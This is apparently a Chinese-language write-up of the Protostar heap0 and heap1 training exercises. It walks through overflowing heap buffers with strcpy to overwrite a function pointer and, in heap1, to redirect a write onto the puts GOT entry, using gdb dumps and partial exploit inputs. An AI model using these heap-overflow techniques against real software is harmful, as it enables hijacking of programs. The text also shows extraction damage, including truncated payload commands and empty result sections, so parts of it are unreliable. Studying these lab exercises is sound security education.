1 Heap0

```
1
 2
    #include <stdlib.h>
 3
    #include <unistd.h>
    #include <string.h>
    #include <stdio.h>
    #include <sys/types.h>
 7
 8
    struct data {
 9
       char name[64];
    };
10
11
12
    struct fp {
13
     int (*fp)();
14
    };
15
16
    void winner()
17
18
       printf("level passed\n");
19
20
21
    void nowinner()
22
23
       printf("level has not been passed\n");
24
25
26
    int main(int argc, char **argv)
27
28
       struct data *d;
29
       struct fp *f;
30
31
       d = malloc(sizeof(struct data));
32
       f = malloc(sizeof(struct fp));
33
       f \rightarrow fp = nowinner;
34
35
       printf("data is at %p, fp is at %p\n", d, f);
36
37
       strcpy(d->name, argv[1]);
38
39
       f \rightarrow fp();
40
41 }
```

从代码中看到, main 函数最后会跳转到 f->fp 所指向的地址,而指针 f->fp 位于堆上。首先直接运行程序,结果如下。

user@protostar:/opt/protostar/bin\$./heap0 1 1 data is at 0x804a008, fp is at 0x804a050 level has not been passed

程序输出了 data 与 fp 的内存地址,注意到 data 处于 fp 的低地址,又注意到程序中的 strcpy 函数将数据复制到了 d 所在的位置,可以让 strcpy 函数越界访问以修改 fp 指针的内容。

fp 的地址相对 data 的偏置为72字节,因此尝试输入72个字符占位,可以看到, fp 指针的内容已经被修改

```
Breakpoint 1, 0x080484fb in main (argc=2, argv=0xbffff804) at heap0/heap0.c:38
38
       heap0/heap0.c: No such file or directory.
        in heap0/heap0.c
(gdb) x/64xw 0x804a008
                                 0x41414141
                                                 0×41414141
0x804a008:
                0x41414141
                                                                  0x41414141
0x804a018:
                                 0x41414141
                                                 0x41414141
                                                                  0x41414141
                0x41414141
0x804a028:
                0x41414141
                                                 0×41414141
                                                                  0×41414141
                                 0×41414141
0x804a038:
                0x41414141
                                 0x41414141
                                                 0x41414141
                                                                  0x41414141
0x804a048:
                0x41414141
                                 0x41414141
                                                 0x34333231
                                                                  0x00000000
0x804a058:
                0x00000000
                                 0x00020fa9
                                                 0x0000000
                                                                  0x00000000
0x804a068:
                0x00000000
                                 0x00000000
                                                 0x00000000
                                                                  0x00000000
0x804a078:
                0x00000000
                                 0x00000000
                                                                  0x00000000
                                                 0x00000000
0x804a088:
                0x00000000
                                 0x00000000
                                                 0x00000000
                                                                  0x00000000
0x804a098:
                0x0000000
                                 0x00000000
                                                 0x0000000
                                                                  0x00000000
0x804a0a8:
                0x0000000
                                 0x00000000
                                                 0x0000000
                                                                  0x00000000
0x804a0b8:
                0x00000000
                                 0x00000000
                                                 0x00000000
                                                                  0x00000000
0x804a0c8:
                0x00000000
                                 0x00000000
                                                 0x00000000
                                                                  0x00000000
0x804a0d8:
                0x00000000
                                 0x00000000
                                                 0x00000000
                                                                  0x00000000
0x804a0e8:
                0x00000000
                                 0x00000000
                                                  0x00000000
                                                                  0x00000000
                                                                  0×00000000
0x804a0f8:
                0x00000000
                                 0x00000000
                                                  0x00000000
(ddb)
```

接下来,查询 winner 函数的地址。

```
(gdb) disas winner
Dump of assembler code for function winner:
0x08048464 <winner+0>: push
                                %ebp
0x08048465 <winner+1>:
                                %esp,%ebp
$0x18,%esp
                         mov
0x08048467 <winner+3>:
                        sub
0x0804846a <winner+6>: movl
                                $0x80485d0,(%esp)
                                0x8048398 <puts@plt>
0x08048471 <winner+13>: call
0x08048476 <winner+18>: leave
0x08048477 <winner+19>: ret
End of assembler dump.
```

于是,我们构造除了输入字符串:

./heap0 \$(echo -e

运行结果如下:

2 Heap1

```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
```

```
7
     struct internet {
 8
        int priority;
 9
        char *name;
10
     };
11
12
     void winner()
13
14
        printf("and we have a winner @ %d\n", time(NULL));
15
16
17
     int main(int argc, char **argv)
18
19
        struct internet *i1, *i2, *i3;
20
21
        i1 = malloc(sizeof(struct internet));
22
        i1\rightarrow priority = 1;
23
        i1\rightarrow name = malloc(8);
24
25
        i2 = malloc(sizeof(struct internet));
26
        i2\rightarrow priority = 2;
27
        i2\rightarrow name = malloc(8);
28
29
        strcpy(i1\rightarrowname, argv[1]);
30
        strcpy(i2\rightarrowname, argv[2]);
31
32
        printf("and that's a wrap folks!\n");
33 }
```

本题没有根据指针跳转的代码,因此不能使用上一题的方法进行攻击。

首先使用 ltrace 查看 malloc 在堆空间分配的内存地址:

可以看到,题目中4次 malloc 在堆上分配了4个8字节空间,并且内存地址从低到高依次排布。也就是说 i1->name 所指向的地址在 i2->name 指针所在地址空间的低地址,通过 strcpy(i1->name, argv[1]) 越界写入,可以修改 i2->name 指针的内容,从而让 strcpy(i2->name, argv[2]) 修改指定地址的内存。

注意到 i2 相对于 i1->name 所指的地址有16字节的偏移,且 name 相较于 internet 结构的开始还有4字节的偏移,我们需要20个字符的填充,之后便可以用4个字节修改 i2->name 指针的内容。如下所示,

```
(gdb) b *0x080485<u>3</u>d
Breakpoint 1 at 0x804853d: file heap1/heap1.c, line 32.
Breakpoint 1, main (argc=3, argv=0xbffff824) at heap1/heap1.c:32 heap1/heap1.c: No such file or directory.
        in heap1/heap1.c
(gdb) x/32wx 0x0804a018
               0×41414141
                               0×41414141
                                               0×41414141
                                                               0×41414141
0x804a018:
0x804a028:
               0x41414141
                               0x34333231
                                               0x38373635
                                                               0x00003039
0x804a038:
                                               0x00000000
                                                               0x00020fc1
               0x00000000
                               0x00000000
0x804a048:
               0x00000000
                               0x00000000
                                               0x00000000
                                                               0x00000000
0x804a058:
               0x00000000
                               0x00000000
                                               0x00000000
                                                               0x00000000
0x804a068:
               0x00000000
                               0x00000000
                                               0x00000000
                                                               0x00000000
0x804a078:
               0x00000000
                               0x00000000
                                               0x00000000
                                                               0×00000000
0x804a088:
                               0x00000000
                                               0x00000000
                                                               0x00000000
               0x00000000
(gdb) x/32wx 0x0804a028
0x804a028:
               0x41414141
                               0x34333231
                                               0x38373635
                                                               0x00003039
0x804a038:
                               0x00000000
                                                               0x00020fc1
               0x00000000
                                               0x00000000
0x804a048:
               0x00000000
                               0x00000000
                                               0x00000000
                                                               0x00000000
0x804a058:
               0x00000000
                               0x00000000
                                               0x00000000
                                                               0x00000000
0x804a068:
               0x00000000
                               0x00000000
                                               0x00000000
                                                               0x00000000
0x804a078:
               0x00000000
                               0x00000000
                                               0x00000000
                                                               0x00000000
0x804a088:
               0x00000000
                               0x00000000
                                               0x00000000
                                                               0x00000000
                                               0x00000000
0x804a098:
               0x00000000
                               0x00000000
                                                               0x00000000
```

接下来需要找出写入的目标地址。一种思路是修改 main 函数的返回地址,但是返回地址所在的内存地址可能变化。注意到 main 函数结束前有一次 printf,对其进行反编译,发现在 0x080483cc 处的指令进行了一次跳转,跳转的目标地址保存在 0x08049774 处,所以只要修改该处的数据,便可以跳转到任意地址。

```
0x08048545 <main+140>:
                                %eax,%edx
                         mov
0x08048547 <main+142>:
                                0x18(%esp),%eax
                         mov
0x0804854b <main+146>:
                                0x4(%eax),%eax
                         mov
0x0804854e <main+149>:
                                %edx,0x4(%esp)
                         mov
0x08048552 <main+153>:
                        mov
                                %eax,(%esp)
0x08048555 <main+156>:
                        call
                                0x804838c <strcpy@plt>
                                $0x804864b,(%esp)
0x0804855a <main+161>:
                         movl
0x08048561 <main+168>:
                         call
                                0x80483cc <puts@plt>
0x08048566 <main+173>:
                         leave
0x08048567 <main+174>:
End of assembler dump.
(gdb) disass 0x080483d2
Dump of assembler code for function puts@plt:
0x080483cc <puts@plt+0>:
                                 jmp
                                        *0x8049774
0x080483d2 <puts@plt+6>:
                                 push
                                        $0x30
0x080483d7 <puts@plt+11>:
                                        0x804835c
                                 jmp
End of assembler dump.
(gdb)
```

找到 winner 函数的起始地址,作为第二个参数输入

```
(gdb) disass winner
Dump of assembler code for function winner:
0x08048494 <winner+0>: push
                               %ebp
0x08048495 <winner+1>: mov
                               %esp,%ebp
0x08048497 <winner+3>: sub
                               $0x18,%esp
0x0804849a <winner+6>: movl
                               $0x0,(%esp)
0x080484a1 <winner+13>: call
                               0x80483ac <time@plt>
0x080484a6 <winner+18>: mov
                               $0x8048630, %edx
0x080484ab <winner+23>: mov
                               %eax,0x4(%esp)
                               %edx,(%esp)
0x080484af <winner+27>: mov
0x080484b2 <winner+30>: call
                               0x804839c <printf@plt>
0x080484b7 <winner+35>: leave
0x080484b8 <winner+36>: ret
End of assembler dump.
```

于是我们构造出了攻击输入:

"\x94\x84\x04\x08")

运行结果如下: